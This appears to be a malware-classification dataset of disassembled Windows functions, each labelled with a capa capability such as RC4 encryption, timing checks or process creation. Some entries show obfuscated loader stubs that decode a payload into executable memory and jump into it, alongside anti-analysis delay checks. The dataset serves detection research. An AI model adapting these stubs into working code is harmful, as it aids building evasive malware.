joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48fc70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x48fcd6
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x48fcd6
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x48fcb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x490060
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x490098
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push 0x86c0f8
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x490d80
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WSOCK32.dll_select
cmp eax, 0xffffffff
jne 0x490dc9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x491240
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a97d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00490df0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00490e70
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00490e70
lea ecx, [esi + 0xc]
call fcn.004a16a9
lea ecx, [esi + 0x10]
call fcn.004a16a9
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00492410
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00492410
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00492410
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004a171e
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004a171e
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4a49d1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4a4a13
call fcn.004a7b78
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4a4a13
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4a4a0a
xor eax, eax
jmp 0x4a4a1b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004a4a21
pop edi
pop esi
pop ebx
ret 4

Function at 0x4a8071
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4a809f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4a80bd
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004a7fd7
jmp 0x4a80bd
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4a80bd
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004a7fd7
test edi, edi
mov eax, edi
jne 0x4a80a7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401380
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40b00c
push 0x80000002
call dword [0x43526c]
test eax, eax
jne 0x4013ac
mov eax, 0xd903
jmp 0x401456
mov dword [0x435264], 0x24e1
mov ecx, dword [0x435264]
sub ecx, 0x24e1
mov dword [0x435264], ecx
mov edx, 1
test edx, edx
je 0x401456
mov eax, dword [0x435264]
cmp eax, dword [ebp + 0xc]
jb 0x4013e1
jmp 0x401456
cmp dword [0x435264], 0
jne 0x4013ff
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x4013ff
xor eax, eax
jmp 0x401456
mov ecx, dword [ebp + 8]
add ecx, dword [0x435264]
mov edx, dword [ecx]
add edx, dword [0x435264]
mov eax, dword [ebp + 8]
add eax, dword [0x435264]
mov dword [eax], edx
mov dword [ebp - 8], 0x3b7a27d
mov ecx, dword [0x435264]
mov edx, dword [ebp - 8]
lea eax, [edx + ecx + 2]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [0x435264]
push ecx
call fcn.00401150
add esp, 8
mov edx, dword [0x435264]
add edx, 4
mov dword [0x435264], edx
jmp 0x4013c8
mov esp, ebp
pop ebp
ret
Function at 0x4078cd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0xb2d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x4078d7
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x40791d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x4078fc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x40793c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00437510
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x4079cc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x407982
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x407998
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x4079bf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x407971
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8
Function at 0x40198c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401996
repz ret
jmp fcn.00401d3b
Function at 0x2a806b7f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x2a806b8e
pop dword [ebp - 0x28]
mov eax, 0x5a2b613a
sub eax, 0x2faaf5ac
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x25e034df
add dword [ebp - 0x38], 0x2872106c
mov dword [ebp - 0x34], 0x4ddcafea
sub dword [ebp - 0x34], 0x1ba963a5
mov dword [ebp - 0x30], 0x7471296d
add dword [ebp - 0x30], 0xd7db1ac1
mov dword [ebp - 0x2c], 0xec21b1c3
sub dword [ebp - 0x2c], 0xec21b1c3
lea eax, [ebp - 0x38]
push eax
mov eax, 0x41901cda
sub eax, 0x170afb96
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xd7593fbd
sub dword [ebp - 0x38], 0x62e6d667
mov dword [ebp - 0x34], 0xce8ef4f8
add dword [ebp - 0x34], 0x72dd6c7d
mov dword [ebp - 0x30], 0x1f82232f
add dword [ebp - 0x30], 0x43ed493d
mov dword [ebp - 0x2c], 0xe4a090c5
sub dword [ebp - 0x2c], 0xe4a090c5
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x2fbb6429
sub eax, 0x53642ed
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x4bbe4
push 0
call eax
mov ecx, 0x1a771d02
add ecx, 0xe589313f
mov edx, eax
mov ebx, 0xc47a1033
add ebx, 0x660dd9cd
add ebx, dword [ebp - 0x28]
mov edi, 0x5b600322
sub dword [ebp - 0x14], edx
mov esi, dword [ebx]
xor dword [ebp - 0x1c], 0x20c94355
add esi, edi
xor dword [ebp - 0x18], ebx
mov dword [edx], esi
mov dword [ebp - 4], 0xfd8ddf94
add edx, 4
add ebx, 0x90fcdc19
add ebx, 0x6f0323eb
loop 0x2a806caa
add eax, 0x12bd7
mov ebx, eax
add eax, 5
mov ecx, 0x595d7826
sub ecx, 0x2edd7826
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x2a80c4de
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
shr esi, 4
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
sub eax, esi
cmp eax, 0xc
jbe 0x2a80c4ea
pop esi
ret
Function at 0x2a80d252
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a84c785
call fcn.2a8015aa
mov ebx, ecx
cmp dword [ebx + 4], 0xffffffff
jne 0x2a80d393
push 0xffffffffffffffff
lea edi, [ebx + 0xc]
push 0x2a853564
mov ecx, edi
call fcn.2a806b7f
mov eax, dword [ebx]
push 0
push 0xffffffffffffffff
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2a8523cc]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x54]
call fcn.2a801558
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.2a8492f7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.2a803838
lea ecx, [ebp - 0x4c]
call fcn.2a80385d
push edi
lea ecx, [ebp - 0x3c]
call fcn.2a808c68
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a849b38
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a84a405
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebx + 8]
xor edi, edi
mov byte [ebp - 4], 3
cmp dword [ecx], edi
jne 0x2a80d358
lea ecx, [ebp - 0x3c]
call fcn.2a849b38
push edi
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push edi
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
jne 0x2a80d358
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a80d3af
cmp eax, 0xe7
jne 0x2a80d399
lea ecx, [ebp - 0x3c]
call fcn.2a849b38
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a80d3be
mov eax, dword [ebx + 8]
cmp dword [eax], edi
je 0x2a80d2fe
cmp dword [ebx + 4], 0xffffffff
je 0x2a80d374
push edi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 6
test esi, esi
je 0x2a80d383
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a803838
lea ecx, [ebp - 0x34]
call fcn.2a80385d
call fcn.2a80187a
ret
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a801558
mov byte [ebp - 4], 4
jmp 0x2a80d3d2
lea ecx, [ebp - 0x70]
call fcn.2a80cfd1
push 0x2a85afe8
jmp 0x2a80d3e3
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a801558
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x70]
call fcn.2a806b7f
push 0x2a85b040
lea eax, [ebp - 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d67d
Capabilities:
Read file on windows

Disassembly:
push 0x5c
mov eax, 0x2a84c801
call fcn.2a8015aa
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a80d7e9
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a80d7d3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a80d755
cmp eax, 0x6d
je 0x2a80d783
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 4
jmp 0x2a80d7fd
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x2a80d767
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x2a80d755
cmp eax, 0xffffffff
je 0x2a80d792
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x2a80d718
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80d79b
sub eax, 1
jne 0x2a80d6ca
lea ecx, [ebp - 0x68]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80d80e
mov dword [ebp - 4], 2
jmp 0x2a80d7da
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a80d7d3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a80d783
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 3
jmp 0x2a80d7fd
mov dword [ebp - 4], 5
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x68]
call fcn.2a806b7f
push 0x2a85b040
lea eax, [ebp - 0x68]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d818
Capabilities:
Read file on windows

Disassembly:
push 0x58
mov eax, 0x2a84c843
call fcn.2a8015aa
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a80d924
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a80d90e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a80d8f3
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80d8bb
sub eax, 1
jne 0x2a80d865
lea ecx, [ebp - 0x64]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80d949
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a80d90e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a80d8a9
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 2
jmp 0x2a80d938
cmp eax, 0x6d
je 0x2a80d8a9
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 3
jmp 0x2a80d938
push esi
mov dword [ebp - 4], 4
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a806b7f
push 0x2a85b040
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d983
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x2a84c87d
call fcn.2a8015aa
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
je 0x2a80dabd
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x2a80d9ff
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x64]
call fcn.2a806b7f
push 0x2a85b040
jmp 0x2a80daca
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x2a80da54
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a80da6a
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80da41
sub eax, 1
jne 0x2a80d9ff
jmp 0x2a80dabd
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
push esi
mov dword [ebp - 4], 3
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe8
je 0x2a80daae
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe9
je 0x2a80daae
push ebx
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.2a801558
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x80]
call fcn.2a806b7f
push 0x2a85b040
lea eax, [ebp - 0x80]
jmp 0x2a80dacd
lea ecx, [ebp - 0x80]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80daa9
lea ecx, [ebp - 0x64]
call fcn.2a80ceef
push 0x2a85b05c
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a82cc8b
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a84f345
call fcn.2a8015aa
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], edi
cmp dword [edi + 0x14], 0x10
jb 0x2a82ccad
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp + 8]
mov ebx, dword [edi + 0x10]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x20], esi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov byte [esi], cl
push ecx
mov eax, ebx
mov dword [ebp - 4], ecx
shl eax, 2
push 3
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x1c], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a806b7f
cmp dword [esi + 0x14], 0x10
mov edx, esi
jb 0x2a82ccef
mov edx, dword [esi]
xor ecx, ecx
test ebx, ebx
jle 0x2a82cda0
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + ecx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov bl, byte [esi + ecx]
and bl, 3
shl bl, 4
inc ecx
cmp ecx, dword [ebp - 0x10]
jge 0x2a82cd22
mov al, byte [esi + ecx]
shr al, 4
or bl, al
movzx eax, bl
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], al
mov eax, dword [ebp - 0x10]
cmp ecx, eax
jge 0x2a82cd63
cmp dword [edi + 0x14], 0x10
mov ebx, edi
jb 0x2a82cd3f
mov ebx, dword [edi]
mov bl, byte [ebx + ecx]
and bl, 0xf
shl bl, 2
inc ecx
cmp ecx, eax
jge 0x2a82cd55
mov al, byte [esi + ecx]
shr al, 6
or bl, al
movzx eax, bl
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd65
mov bl, 0x3d
lea esi, [edx + 3]
mov byte [edx + 2], bl
mov dword [ebp - 0x18], esi
mov edx, esi
mov esi, dword [ebp - 0x14]
inc edx
cmp ecx, eax
jge 0x2a82cd8a
movzx eax, byte [esi + ecx]
and eax, 0x3f
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd8c
mov bl, 0x3d
mov esi, dword [ebp - 0x18]
inc ecx
mov byte [esi], bl
mov esi, dword [ebp - 0x14]
cmp ecx, eax
jl 0x2a82ccfc
mov esi, dword [ebp - 0x20]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x2a82cdaa
mov eax, dword [esi]
push 0
sub edx, eax
mov ecx, esi
push edx
call fcn.2a806b7f
mov eax, esi
call fcn.2a80187a
ret

Function at 0x2a82f2c5
Capabilities:
Get hostname

Disassembly:
push 0x448
mov eax, 0x2a84f81b
call fcn.2a84a907
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
mov dword [ebp - 0x450], esi
push edi
xor ebx, ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a82f329
lea eax, [ebp - 0x410]
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.2a805678
mov eax, esi
call fcn.2a84a8e5
ret
push 0x93
lea ecx, [ebp - 0x454]
call fcn.2a806b7f
lea ecx, [ebp - 0x44c]
mov dword [ebp - 4], ebx
push ecx
mov ecx, eax
call fcn.2a827d86
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a821de4
push 0x2a85dc48
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a84a76f
Capabilities:
Create process on windows

Disassembly:
push 0x48
mov eax, 0x2a851e75
call fcn.2a8015aa
mov edi, ecx
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push 0x10
mov dword [ebp - 0x54], esi
call fcn.2a806b7f
mov esi, eax
add esp, 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x2a84a7b4
push 0x10
push ebx
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x2a84a7b6
mov esi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x24], esi
call fcn.2a849b77
push dword [edi + 0x24]
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
call fcn.2a80187a
ret
Function at 0x1000431f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x1000432e
pop dword [ebp - 0x1c]
mov eax, 0xdd04b5f
add eax, 0x22ff7cf
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x15dce149
sub dword [ebp - 0x2c], 0xc78a9bfe
mov dword [ebp - 0x28], 0xbe3c15f1
sub dword [ebp - 0x28], 0x8c08c9ac
mov dword [ebp - 0x24], 0xdeea9be7
sub dword [ebp - 0x24], 0x929e57b9
mov dword [ebp - 0x20], 0x14758287
add dword [ebp - 0x20], 0xeb8a7d79
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xa5438167
sub eax, 0x9543010b
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x8d43ede7
add dword [ebp - 0x2c], 0xe72e7b6f
mov dword [ebp - 0x28], 0x43f54ce0
add dword [ebp - 0x28], 0xfd771495
mov dword [ebp - 0x24], 0x4bf3c72
add dword [ebp - 0x24], 0x5eb02ffa
mov dword [ebp - 0x20], 0x161cdf33
sub dword [ebp - 0x20], 0x161cdf33
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xc31fe219
add eax, 0x4ce09e4f
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x365f0
push 0
call eax
mov ecx, 0x2d191dfa
add ecx, 0xd2e7253e
xor esi, esi
add esi, eax
mov edx, 0xe155dce4
add edx, 0x2eaaff1c
add edx, dword [ebp - 0x1c]
mov edi, 0x23124953
sub edi, 0xc3593fd2
xor dword [ebp - 0x10], 0x3371f716
mov ebx, dword [edx]
add dword [ebp - 0x14], ecx
xor ebx, edi
mov dword [esi], ebx
add dword [ebp - 8], 0xeb9518df
add esi, 0x697b4e20
add esi, 0x9684b1e4
add edx, 0x83f0663b
add edx, 0x7c0f99c9
loop 0x10004452
add eax, 0xed3fde88
sub eax, 0xed3eded5
mov ebx, eax
add eax, 5
mov ecx, 0xa16d40ff
sub ecx, 0x916d40ff
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret